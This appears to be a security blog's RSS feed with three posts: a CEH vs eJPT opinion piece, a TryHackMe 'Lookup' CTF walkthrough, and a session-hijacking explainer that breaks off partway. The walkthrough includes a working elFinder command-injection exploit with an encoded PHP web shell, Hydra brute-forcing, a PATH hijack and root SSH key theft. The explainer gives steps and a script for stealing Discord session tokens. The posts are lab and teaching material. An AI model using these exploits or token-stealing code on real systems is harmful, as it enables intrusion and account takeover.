]]></content:encoded></item><item><title><![CDATA[My Take on CEH vs eJPT: Harsh Truth & Straightforward Advice for Cybersecurity Enthusiasts]]></title><description><![CDATA[Let’s get straight to the point.
The Reality of CEH (Certified Ethical Hacker)
To be blunt, the CEH theory exam is underwhelming—just a collection of random multiple-choice questions. Some are so absurd you’ll wonder why they’re even there. (Like, wh...]]></description><link>https://flarexes.com/my-take-on-ceh-vs-ejpt-harsh-truth-straightforward-advice-for-cybersecurity-enthusiasts</link><guid isPermaLink="true">https://flarexes.com/my-take-on-ceh-vs-ejpt-harsh-truth-straightforward-advice-for-cybersecurity-enthusiasts</guid><category><![CDATA[Certification]]></category><category><![CDATA[hacking]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[FlareXes]]></dc:creator><pubDate>Sun, 09 Feb 2025 13:34:21 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1739107612431/5b625bad-1ae7-4431-824d-2d4e74965ddf.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Let’s get straight to the point.</p>
<h2 id="heading-the-reality-of-ceh-certified-ethical-hacker">The Reality of CEH (Certified Ethical Hacker)</h2>
<p>To be blunt, the CEH theory exam is underwhelming—just a collection of random multiple-choice questions. Some are so absurd you’ll wonder why they’re even there. (Like, <em>what protocol does your smart LED light use? Seriously?</em>) The practical exam? A bit better but honestly way too simple. If you're somewhat familiar with pentesting, you'll clear it without breaking a sweat.</p>
<h3 id="heading-so-why-did-i-bother-with-ceh">So, Why Did I Bother with CEH?</h3>
<p>Here’s the thing: CEH is a well-known name in the job market—even if it won’t guarantee you a job. Certifications like OSCP and CISSP tend to carry more weight, but some companies still mention CEH in job descriptions. And trust me, no recruiter is going to ask, “Did you take the theory or practical exam?” If you’re keen on adding CEH to your resume, just go for the practical version.</p>
<h2 id="heading-ejpt-elearnsecurity-junior-penetration-tester-a-better-learning-experience">eJPT (eLearnSecurity Junior Penetration Tester): A Better Learning Experience</h2>
<p>This certification is solid for building real skills. If you’ve done a few beginner TryHackMe rooms, you’ll likely find eJPT manageable. The course, designed by Alex from Hackersploit, offers hands-on labs and covers important topics like Metasploit—arguably one of the best Metasploit courses I’ve ever seen.</p>
<p>The exam? It’s like a Capture the Flag (CTF) challenge:</p>
<ul>
<li><p>4 Windows and 3 Linux machines (your setup might vary)</p>
</li>
<li><p>You’ll search for flags, identify open ports, perform privilege escalation, etc.<br />  The most challenging part for me was pivoting—my connection wasn’t working, so I had to write a batch script to grab the flag. But that’s what makes it fun!</p>
</li>
</ul>
<p><strong>Key Highlights:</strong></p>
<ul>
<li><p>48-hour, open-internet, non-proctored exam</p>
</li>
<li><p>You can search online, use tools, and even ask ChatGPT (how cool is that?)<br />  It’s an amazing learning experience and a great way to validate your ability to conduct a simple pentest.</p>
</li>
</ul>
<h2 id="heading-so-which-ones-worth-your-time">So, Which One’s Worth Your Time?</h2>
<p>Let’s face it—CEH is expensive and unlikely to land you a job on its own (especially in India). You might get an internship or work as a trainer, but that's about it. eJPT, while not widely recognized, offers better value in terms of learning and skill development.</p>
<p><strong>If I Had to Do It Again?</strong></p>
<ul>
<li>eJPT &gt; TCM Security Certs &amp; HTB Certs &gt; OSCP</li>
</ul>
<p>Invest in certifications that matter. CEH cost me $500 back in 2021—money that would have been better spent on practical, respected certs like PNPT or HTB.</p>
<p><strong>Bonus Perks with eJPT:</strong></p>
<ul>
<li><p>Comes with an ICCA voucher</p>
</li>
<li><p>Includes a cloud certification covering basic concepts with lab tasks<br />  If you’re getting it bundled, why not take advantage?</p>
</li>
</ul>
<p><strong>Final Thoughts:</strong><br />If you want validation that you can perform a simple pentest, go for eJPT. Skip CEH unless you absolutely need it for a job requirement. And most importantly—never stop learning and practicing.</p>
<p>Best of luck on your cybersecurity journey!</p>
]]></content:encoded></item><item><title><![CDATA[Hacking Practice: TryHackMe Lookup Room Explained]]></title><description><![CDATA[Overview




Roomhttps://tryhackme.com/r/room/lookup



DifficultyEasy, But Not an Hour Easy

Room Author@josemlwdf on TryHackMe


Lookup is a Linux machine challenge where we first encounter a login webpage. The login page responds differently depen...]]></description><link>https://flarexes.com/hacking-practice-tryhackme-lookup-room-explained</link><guid isPermaLink="true">https://flarexes.com/hacking-practice-tryhackme-lookup-room-explained</guid><category><![CDATA[tryhackme]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Linux]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[FlareXes]]></dc:creator><pubDate>Thu, 09 Jan 2025 09:00:25 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1736412440479/c6d72928-63de-4822-a2f7-5a8a2e62ef3c.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-overview">Overview</h1>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Room</td><td><a target="_blank" href="https://tryhackme.com/r/room/lookup">https://tryhackme.com/r/room/lookup</a></td></tr>
</thead>
<tbody>
<tr>
<td>Difficulty</td><td>Easy, But Not an Hour Easy</td></tr>
<tr>
<td>Room Author</td><td>@<a target="_blank" href="https://tryhackme.com/p/josemlwdf">josemlwdf</a> on TryHackMe<a target="_blank" href="https://tryhackme.com/p/josemlwdf"></a></td></tr>
</tbody>
</table>
</div><p><a target="_blank" href="https://tryhackme.com/p/josemlwdf"><strong>Lo</strong></a><strong>okup</strong> is a Linux machine challenge where we first encounter a login webpage. The login page responds differently depending on whether the user exists. After enumerating valid usernames, we brute-force credentials for the found user using Hydra. After a successful login, we are redirected to <code>ElFinder</code>, a web file manager vulnerable to PHP command injection. We modify the script for Python 3.</p>
<p>After gaining initial access as the <code>www-data</code> user, we enumerate and find a user <code>think</code> along with an ELF SUID executable <code>/usr/sbin/pwm</code>. This SUID executable runs the <code>id</code> command to impersonate the current user and read the <code>/home/&lt;current_user&gt;/.passwords</code> file. Since <code>PWM</code> doesn’t use an absolute path, we create our own <code>id</code> executable under <code>/tmp/id</code> and add it to the <code>PATH</code> to impersonate user <code>think</code>.</p>
<p>The <code>.passwords</code> file contains a list of possible passwords, which we use to brute-force the <code>think</code> user's SSH login. We then discover that the user <code>think</code> can only execute the <code>look</code> command with <code>sudo</code>. Using this, we obtain the root user's SSH private key (<code>id_rsa</code>) to log in and retrieve the root flag.</p>
<h1 id="heading-passive-enumeration">Passive Enumeration</h1>
<p><strong>Port Scan</strong></p>
<pre><code class="lang-bash">sudo nmap -sS -sV &lt;ip&gt;
</code></pre>
<ul>
<li><p>The port scan reveals two open ports:</p>
<ul>
<li><p>HTTP Port: <strong>80</strong></p>
</li>
<li><p>SSH Port: <strong>22</strong></p>
</li>
</ul>
</li>
</ul>
<p>Visiting the target IP in a browser redirects to <code>lookup.thm</code>, so we need to add that to the <code>/etc/hosts</code> file.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">"&lt;target_ip&gt; lookup.thm"</span> | sudo tee -a /etc/hosts
</code></pre>
<p><strong>Directory Brute-Force on Port 80</strong></p>
<pre><code class="lang-bash">feroxbuster --url=<span class="hljs-string">"http://lookup.thm"</span> --wordlist /usr/share/SecLists/Discovery/Web-Content/raft-large-extensions.txt
</code></pre>
<ul>
<li>No luck with directory brute-force.</li>
</ul>
<p>After trying a full port scan, SSH brute-force, <code>sqlmap</code>, and <code>nikto</code>, I wasted about an hour with no useful results.</p>
<h2 id="heading-finding-valid-usernames-amp-passwords">Finding Valid Usernames &amp; Passwords</h2>
<p>I tried basic credentials on the login page, such as <code>admin:admin</code>, <code>test:password</code>. After a few attempts, I noticed that the webpage responds differently when the user <code>admin</code> is entered, showing <code>Wrong Password</code>, and for any other users, it shows <code>Wrong Password or Username</code>. I brute-forced the password for <code>admin</code> but didn’t have any luck. This could mean that the server is returning valid passwords for different users. Why? could be bad coding practices, so I explored the possibility of other valid users.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736411857400/c11b224e-acf3-4504-ba5c-b6a1bc5cf4c5.png" alt /></p>
<p><strong>Enumerate Valid Users</strong></p>
<pre><code class="lang-bash">hydra -L /usr/share/SecLists/Usernames/xato-net-10-million-usernames-dup.txt -p password lookup.thm http-post-form <span class="hljs-string">"/login.php:username=^USER^&amp;password=^PASS^:Wrong username"</span> -I
</code></pre>
<ul>
<li>Found User: <code>j-fake-name</code></li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736411885090/4498c4bc-ad4c-4f0e-8e10-a9efc27f2fad.png" alt /></p>
<p>I then brute-forced the password for <code>j-fake-name</code>:</p>
<pre><code class="lang-bash">hydra -l j-fake-name -P /usr/share/SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt lookup.thm http-post-form <span class="hljs-string">"/login.php:username=^USER^&amp;password=^PASS^:Wrong password"</span> -I
</code></pre>
<ul>
<li>Found Password for <code>j-fake-name</code>: <code>j-fake-password</code></li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736411907660/23b16c28-6626-4550-a1f0-630cfc3bbb57.png" alt /></p>
<h3 id="heading-getting-initial-access-shell">Getting Initial Access (Shell)</h3>
<p>After logging in with valid credentials, I was redirected to <code>files.lookup.thm</code>, so I added it to <code>/etc/hosts</code>.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">"&lt;target_ip&gt; files.lookup.thm"</span> | sudo tee -a /etc/hosts
</code></pre>
<p>This is <code>ElFinder</code>, a web file manager. From the <code>?</code> button icon in menu section, I identified the version of <code>ElFinder</code>. A Google search for <code>ElFinder 2.1.47 exploit</code> led me to an exploit on Exploit-DB, which revealed that this version is vulnerable to PHP command injection.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736411932620/bd6f4f9e-14bd-443a-b96a-8b1523b7c4c4.png" alt /></p>
<p>We can use the Exploit-DB script with a few modifications, or alternatively, we can use Metasploit. I'll demonstrate both methods.</p>
<p><strong>First, Exploit-DB Script</strong></p>
<p>The script uploads a JPG file to the file server, using an encoded payload as the image filename. However, there is an issue: I don’t have Python2 installed. This should not be a problem for Kali Linux users, as it comes pre-packaged with Python2. Below is the modified Python3 script.</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/python</span>
<span class="hljs-comment"># exploit.py</span>
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">import</span> json
<span class="hljs-keyword">import</span> sys

payload = <span class="hljs-string">"SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p &gt; SecSignal.php;echo SecSignal.jpg"</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">usage</span>():</span>
    <span class="hljs-keyword">if</span> len(sys.argv) != <span class="hljs-number">2</span>:
        print(<span class="hljs-string">"Usage: python exploit.py [URL]"</span>)
        sys.exit(<span class="hljs-number">0</span>)


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">upload</span>(<span class="hljs-params">url, payload</span>):</span>
    files = {<span class="hljs-string">"upload[]"</span>: (payload, open(<span class="hljs-string">"SecSignal.jpg"</span>, <span class="hljs-string">"rb"</span>))}
    data = {
        <span class="hljs-string">"reqid"</span>: <span class="hljs-string">"1693222c439f4"</span>,
        <span class="hljs-string">"cmd"</span>: <span class="hljs-string">"upload"</span>,
        <span class="hljs-string">"target"</span>: <span class="hljs-string">"l1_Lw"</span>,
        <span class="hljs-string">"mtime[]"</span>: <span class="hljs-string">"1497726174"</span>,
    }

    r = requests.post(<span class="hljs-string">"%s/php/connector.minimal.php"</span> % url, files=files, data=data)
    j = json.loads(r.text)
    <span class="hljs-keyword">return</span> j[<span class="hljs-string">"added"</span>][<span class="hljs-number">0</span>][<span class="hljs-string">"hash"</span>]


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">imgRotate</span>(<span class="hljs-params">url, hash</span>):</span>
    r = requests.get(
        <span class="hljs-string">"%s/php/connector.minimal.php?target=%s&amp;width=539&amp;height=960&amp;degree=180&amp;quality=100&amp;bg=&amp;mode=rotate&amp;cmd=resize&amp;reqid=169323550af10c"</span>
        % (url, hash)
    )
    <span class="hljs-keyword">return</span> r.text


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">shell</span>(<span class="hljs-params">url</span>):</span>
    r = requests.get(<span class="hljs-string">"%s/php/SecSignal.php"</span> % url)
    <span class="hljs-keyword">if</span> r.status_code == <span class="hljs-number">200</span>:
        print(<span class="hljs-string">"[+] Pwned! :)"</span>)
        print(<span class="hljs-string">"[+] Getting the shell..."</span>)
        <span class="hljs-keyword">while</span> <span class="hljs-number">1</span>:
            <span class="hljs-keyword">try</span>:
                inp = input(<span class="hljs-string">"$ "</span>)
                r = requests.get(<span class="hljs-string">"%s/php/SecSignal.php?c=%s"</span> % (url, inp))
                print(r.text)
            <span class="hljs-keyword">except</span> KeyboardInterrupt:

                sys.exit(<span class="hljs-string">"\nBye kaker!"</span>)
    <span class="hljs-keyword">else</span>:
        print(<span class="hljs-string">"[*] The site seems not to be vulnerable :("</span>)


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    usage()
    url = sys.argv[<span class="hljs-number">1</span>]
    print(<span class="hljs-string">"[*] Uploading the malicious image..."</span>)
    hash = upload(url, payload)
    print(<span class="hljs-string">"[*] Running the payload..."</span>)
    imgRotate(url, hash)
    shell(url)


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<p>To get the shell, copy a <code>jpg</code> image to the current working directory, rename it to <code>SecSignal.jpg</code>, and run:</p>
<pre><code class="lang-bash">python exploit.py http://files.lookup.thm/elFinder
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736411966935/be364ccc-a6e2-45ee-83b1-543486f07a94.png" alt /></p>
<p>Next, we upgrade the shell for better control. I first tried a <code>Bash -i</code> reverse shell, which didn’t work. Then I used a <code>nc mkfiko</code> reverse shell (from <a target="_blank" href="http://revshells.com">revshells.com</a>) in URL-encoded format because the connection is over HTTP. Replace the IP and port accordingly, and start a <code>nc</code> server on the host machine. (Make sure the firewall is disabled or the port is allowed; otherwise, the reverse shell might not work.)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736411996668/1576cba6-ece6-4244-a96b-a43719dbc7b8.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736412009455/f2d4ad02-a17b-4656-a1e5-d7f26e6f0126.png" alt /></p>
<p>To stabilize the <code>nc</code> shell:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">export</span> TERM=xterm
bash -i
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736412025167/b104acbe-7d7e-42fb-a25a-9a89b57341de.png" alt /></p>
<p><strong>Now, Metasploit Way</strong></p>
<p>Using Metasploit is much easier since it already has an exploit module for this vulnerability, which provides a fully functional meterpreter session.</p>
<pre><code class="lang-bash">msf6&gt; use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
msf6&gt; <span class="hljs-built_in">set</span> RHOSTS files.lookup.thm
msf6&gt; <span class="hljs-built_in">set</span> LHOST tun0
msf6&gt; run

meterpreter&gt; shell
</code></pre>
<h1 id="heading-privilege-escalation">Privilege Escalation</h1>
<p>After gaining initial access as <code>www-data</code>, I navigated to <code>/home</code> and found a user named <code>think</code>. This user's directory contained two interesting files: <code>user.txt</code> (the flag) and <code>.passwords</code>, which likely contains the password for <code>think</code> user. However, I couldn't access them as I wasn’t logged in as <code>think</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736412041788/db8a1dfe-1177-4492-83ab-4279d3cc3726.png" alt /></p>
<p><strong>Find SUID Executables for Privilege Escalation</strong></p>
<pre><code class="lang-bash">find / -perm -4000 2&gt;/dev/null
</code></pre>
<ul>
<li>I found an unknown binary owned by root with the SUID bit set: <code>/usr/sbin/pwm</code>.</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736412057097/ebb5b590-c010-41f5-83bb-e5567174cfd7.png" alt /></p>
<h2 id="heading-getting-user-shell">Getting User Shell</h2>
<p>Executing <code>/usr/sbin/pwm</code> reveals that it runs the <code>id</code> command to impersonate the user and read the <code>.passwords</code> file in the user's home directory.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736412076090/19d94f31-ab6d-4b1d-8244-689f56410013.png" alt /></p>
<p>Simple <code>ltrace</code> and <code>strace</code> didn’t reveal anything useful, so I assumed the <code>pwm</code> binary doesn’t use an absolute path for the <code>id</code> command. This means we can perform a <em>Path Hijack</em>, where we create our own <code>id</code> command and add it to the <code>PATH</code> variable. This way, when <code>pwm</code> executes, it will run our custom <code>id</code> command instead of the real one.</p>
<p>Our custom <code>id</code> command will return the <code>id</code> of the <code>think</code> user, and <code>pwm</code> will print the <code>.passwords</code> file of the returned user ID.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Create the `id` command under /tmp/id</span>
cat &gt; /tmp/id &lt;&lt; EOF
<span class="hljs-comment">#!/bin/bash</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">'$(id think)'</span>
EOF

<span class="hljs-comment"># Give executable permission to /tmp/id</span>
chmod +x /tmp/id

<span class="hljs-comment"># Add /tmp/ to the `PATH` variable</span>
<span class="hljs-built_in">export</span> PATH=/tmp:<span class="hljs-variable">$PATH</span>

<span class="hljs-comment"># Execute `pwm` to get the `/home/think/.passwords` file</span>
/usr/sbin/pwm
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736412096642/c4ce2861-7a79-4bba-b022-7a3fd10398f9.png" alt /></p>
<p>We now have the <code>.passwords</code> file, which contains a list of passwords. I copied them to my host machine to brute-force the <code>think</code> user's SSH login.</p>
<pre><code class="lang-bash">hydra -l think -P passwords.txt 10.10.73.36 ssh
</code></pre>
<ul>
<li>Password Found: <code>think-fake-password</code></li>
</ul>
<p>I SSHed into the <code>think</code> user and retrieved the <code>user.txt</code> flag. Next, get the root shell.</p>
<h2 id="heading-getting-the-root-shell">Getting the Root Shell</h2>
<p>This step was straightforward. The <code>think</code> user can only run the <code>look</code> command with <code>sudo</code>.</p>
<pre><code class="lang-bash">sudo -l
</code></pre>
<p>I searched for <code>look</code> on <a target="_blank" href="https://gtfobins.github.io/">GTFOBins</a> to check for privilege escalation options.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736412115849/76bd34fc-1c78-4d7c-8f12-29341d261b33.png" alt /></p>
<p>There are two ways to proceed: first, directly access the flag:</p>
<pre><code class="lang-bash">LFILE=/root/root.txt
sudo look <span class="hljs-string">''</span> <span class="hljs-string">"<span class="hljs-variable">$LFILE</span>"</span>
</code></pre>
<p>Alternatively, copy the root's SSH private key to the host machine and SSH into the target as root.</p>
<pre><code class="lang-bash">LFILE=/root/.ssh/id_rsa
sudo look <span class="hljs-string">''</span> <span class="hljs-string">"<span class="hljs-variable">$LFILE</span>"</span>
</code></pre>
<p>Copy the private key to the host machine as <code>id_rsa</code> and run:</p>
<pre><code class="lang-bash">chmod 600 id_rsa
ssh -i id_rsa root@lookup.thm
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736412138449/148675c4-870b-43be-87a1-3264f1150025.png" alt /></p>
<p><strong>Target PWNED!</strong></p>
<hr />
<p>Thanks for reading! I hope you learnt something new. This is my first CTF walkthrough write-up. You can check out my blog <a target="_blank" href="https://flarexes.com/">FlareXes</a> for more cybersecurity, programming, Linux, privacy, and automation content.</p>
]]></content:encoded></item><item><title><![CDATA[Why Does Session Hijacking Exist & How it Works? - Cookies vs. HTTP Headers]]></title><description><![CDATA[Session Hijacking is a novel technique that leverage underlying flaws of HTTP. In past, advisories have used session hijacking to hack into crypto wallets, social media accounts including YouTube channels and even entire organizations. For instance, ...]]></description><link>https://flarexes.com/why-does-session-hijacking-exist-how-it-works-cookies-vs-http-headers</link><guid isPermaLink="true">https://flarexes.com/why-does-session-hijacking-exist-how-it-works-cookies-vs-http-headers</guid><category><![CDATA[Web Development]]></category><category><![CDATA[Programming Blogs]]></category><category><![CDATA[hacking]]></category><category><![CDATA[http]]></category><category><![CDATA[Security]]></category><category><![CDATA[cookies]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[FlareXes]]></dc:creator><pubDate>Thu, 26 Dec 2024 23:30:55 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1735465673463/bc1b2860-721c-4c01-8861-67e874d9cc18.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Session Hijacking is a novel technique that leverage underlying flaws of HTTP. In past, advisories have used session hijacking to hack into <em>crypto wallets</em>, <em>social media accounts including YouTube channels</em> and even <em>entire organizations</em>. For instance, last year the YouTube channel <strong>Linus Tech Tips</strong> got hijacked and suspected the same attack.</p>
<p>This is the part-2 of the series <strong>HTTP for Hacker, Programmers and Everything</strong>. Part-1 covers the basics of HTTP protocol which is necessary to fully understand this attack vector.</p>
<p>In this article, we will explore:</p>
<ul>
<li><p>What is Session Hijacking?</p>
</li>
<li><p>Why Does It Exist?</p>
</li>
<li><p>How to Prevent It?</p>
</li>
</ul>
<h2 id="heading-why-cookies-were-introduced">Why Cookies Were Introduced?</h2>
<p><em>Cookies are small piece of information stored the browser. Developers also refers cookies as Local Storage.</em></p>
<p>Cookies are extremely misinterpreted topic in the general public. It's not uncommon to see comments like "Cookies were made to spy on us", "Of course it's cookies, cause of all the problems". And they are not wrong in their own ways. But nothing can be introduced just for the bad reasons; their has to be some good in it or at least a good narrative. Such as, OpenAI mission is to help people with disabilities not to make big bucks but they are making BIG BUCKS!. Same goes for Microsoft recent feature <strong>Recall</strong>, Recall continuous takes screenshots to help users search things faster without invading users privacy. HOW? Doesn't matter it's a narrative.</p>
<p>But that's not the case with cookies. They were not created with a wrong intention or misleading narrative. In reality, cookies revolutionized the way we use web today and now the entire web depends upon cookies. Story begins in early 1995, when world start needing more complex web-applications. Initially websites only consist HTML, they were sample with few text. You can still visit world's first website at <a target="_blank" href="http://info.cern.ch">info.cern.ch</a>. But as the world progressed people needs also start increasing. We needed websites for more complex tasks such as real-time chatting, user authentication or personalized settings like our favorite dark mode and for that to work a temporary storage was required named as cookies.</p>
<h3 id="heading-why-cookies-amp-not-http-headers">Why Cookies &amp; Not HTTP Headers?</h3>
<p>If you have read my <a class="post-section-overview" href="#TODO">previous blog post</a> on HTTP then you already know that HTTP is a <strong>stateless protocol</strong>. HTTP can't keep track of any relation or data between requests. For instance, a website supports dark mode. You click on dark mode toggle and it will send a HTTP request to server for no reason because dark mode functionality reside on frontend side. When browser get response from server it set website theme in dark mode. Then you make an another request and website get back to light mode again. Because it won't remember what you did before. Now let's take the same example with cookies in action. You click on dark mode toggle and website cookies has a variable <code>THEME=light</code> now it is set to <code>THEME=dark</code>. Now it doesn't matter if you refresh or make a new request. This theme information is stored in browser and it will only change when you click on dark mode toggle again.</p>
<h2 id="heading-how-does-authentication-works-in-http">How Does Authentication Works in HTTP?</h2>
<p>One of the core functionality cookies enabled us was to authenticate user on websites. Before their wasn't any proper authentication mechanism, if you try to authenticate then user have to enter credentials for every request because HTTP is a stateless protocol - every request had to authenticate individually. Up until cookies was introduced, now browsers can store information so instead of entering credentials every time for each request, it possible to store those credentials in cookies and let browser append those credentials (stored as cookies) to each HTTP request as header. And this all became possible without modifying the HTTP protocol.</p>
<p>Above explanation is just an overview of "How authentication came in existence (in web) and how authentication implementation would look like". But still we are missing few aspects such as: It not an good idea to store credentials in cookies as plain text cause of obvious security concerns.</p>
<p>So, Let's understand step-by-step "How does authentication really take place in HTTP?":</p>
<p><strong>Step 1:</strong> Client sends a request to server granting access to admin page with no authentication information.</p>
<p><strong>Step 2:</strong> Server responds with 401 Unauthorized status code, indicating user is not authenticated.</p>
<p>Server response header would include <code>WWW-Authenticate</code> header specifying the supported authentication methods (e.g., Basic Auth, Digest, Kerberos).</p>
<pre><code class="lang-http">HTTP/1.1 <span class="hljs-number">401</span> Unauthorized
<span class="hljs-attribute">WWW-Authenticate</span>: Basic realm="#TODO: Use Burp to See"
<span class="hljs-attribute">Content-Type</span>: text/html; charset=UTF-8

<span class="solidity"><span class="hljs-operator">&lt;</span>h2<span class="hljs-operator">&gt;</span>Unauthorized Access<span class="hljs-operator">&lt;</span><span class="hljs-operator">/</span>h2<span class="hljs-operator">&gt;</span>
<span class="hljs-operator">&lt;</span>p<span class="hljs-operator">&gt;</span>You need to authenticate to access admin portal.&lt;<span class="hljs-operator">/</span>p<span class="hljs-operator">&gt;</span></span>
</code></pre>
<p><strong>Step 3:</strong> For basic auth, the client will encode the credentials such as username and password in Base64 attached with <code>Authorization</code> request header and send it to the server.</p>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/protected/resource</span> HTTP/1.1
<span class="hljs-attribute">Host</span>: example.com
<span class="hljs-attribute">Authorization</span>: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
</code></pre>
<p><strong>Step 4:</strong> The server verifies the received credentials from the internal user database. If credentials are valid server will respond with randomly generated session token.</p>
<p>In below example server included <code>Set-Cookie</code> header, where <code>session_token</code> is key and <code>bDBiTGlqejVoczUiXVtaL24udldZSUK</code> as value or token. Key is not restricted to named as <code>session_token</code> it could be <code>session</code> or just <code>token</code>, different websites use different variations.</p>
<pre><code class="lang-http">HTTP/1.1 <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span>: text/html
<span class="hljs-attribute">Set-Cookie</span>: session_token=bDBiTGlqejVoczUiXVtaL24udldZSUK;
</code></pre>
<p><strong>Step 5:</strong> Now browser will store session token as cookies and for each subsequent request the client sends the stored session token back to the server as a header. The server verifies the session token against its internal session management system. If the session token is valid, the server grants access to the requested resource.</p>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/another/resource</span> HTTP/1.1
<span class="hljs-attribute">Host</span>: example.com
<span class="hljs-attribute">Cookie</span>: session_token=bDBiTGlqejVoczUiXVtaL24udldZSUK
</code></pre>
<p>That's how authentication works in HTTP and now you understand "How cookies overcome the limitation of stateless nature of HTTP?".</p>
<h2 id="heading-session-hijacking-hacking-discord-and-spotify">Session Hijacking: Hacking Discord and Spotify</h2>
<p><strong>Session Token</strong> is the backbone of WWW authentication. The idea of Session Hijacking is extremely simple, <em>steal the tokens</em>. Once a user authenticate to a website in the case discord, it's session token will be store in browser cookies that can easily be grabbed. If a threat actor gets hold of session token she can easily hack into user's discord account without needing any credentials.</p>
<h3 id="heading-discord-via-browser">Discord via Browser</h3>
<p><strong>Step 1:</strong> Open Discord in your browser and log in.</p>
<p><strong>Step 2:</strong> Press F12 or right-click and select "Inspect" to open developer tools.</p>
<p><strong>Step 3:</strong> Switch to the "Application" or "Storage" tab.</p>
<p><strong>Step 4:</strong> Look for "Local Storage" and find the <code>token</code> key.</p>
<p><strong>Step 5:</strong> Expand the <code>discord</code> key to view the session token.</p>
<p><strong>Step 6:</strong> Open a private window or a different browser.</p>
<p><strong>Step 7:</strong> Go-to the same location <strong>Storage &gt; Local Storage</strong>.</p>
<p><strong>Step 8:</strong> Create a new <em>key-pair</em>: <code>token</code> as key and copied session token as <code>vaule</code>.</p>
<p><strong>Step 9:</strong> Hit refresh and click on top-right conor button <code>Open Discord</code>.</p>
<p><strong>Step 10:</strong> Voila! You are logged in without needing any credentials, even 2FA bypass.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1734349679185/1145c666-0ed9-4d56-b9ab-acbc830c47de.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-discord-desktop-application">Discord Desktop Application</h3>
<p>Mostly hackers use automated scripts or programs to steal tokens instead of doing manually. Below script allow users to extract session tokens from Discord desktop client.</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_token</span>(<span class="hljs-params">path</span>):</span>
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> os.path.exists(path): <span class="hljs-keyword">return</span>

    <span class="hljs-keyword">for</span> file <span class="hljs-keyword">in</span> os.listdir(path):
        <span class="hljs-keyword">if</span> file.endswith(<span class="hljs-string">".log"</span>) <span class="hljs-keyword">or</span> file.endswith(<span class="hljs-string">".ldb"</span>)   :
            <span class="hljs-keyword">for</span> line <span class="hljs-keyword">in</span> [x.strip() <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> open(<span class="hljs-string">f"<span class="hljs-subst">{path}</span>\\<span class="hljs-subst">{file}</span>"</span>, errors=<span class="hljs-string">"ignore"</span>).readlines() <span class="hljs-keyword">if</span> x.strip()]:
                <span class="hljs-keyword">for</span> regex <span class="hljs-keyword">in</span> (<span class="hljs-string">r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}"</span>, <span class="hljs-string">r"mfa\.[\w-]{80,95}"</span>):
                    <span class="hljs-keyword">for</span> token <span class="hljs-keyword">in</span> re.findall(regex, line):
                        print(token)

get_token(path=<span class="hljs-string">"~/.config/discord/Local Storage/leveldb"</span>)

<span class="hljs-comment"># Linux: `~/.config/discord/Local Storage/leveldb`</span>
<span class="hljs-comment"># MacOS: `~/Library/Application Support/discord/Local Storage/leveldb`</span>
<span class="hljs-comment"># Windows: `%APPDATA%\Discord\Local Storage/leveldb`</span>
</code></pre>
<p>Run the script:</p>
<pre><code class="lang-bash">python discord_infostealer.py
</code></pre>
<h3 id="heading-spotify-session-token-for-privacy-amp-security">Spotify: Session Token for Privacy &amp; Security</h3>
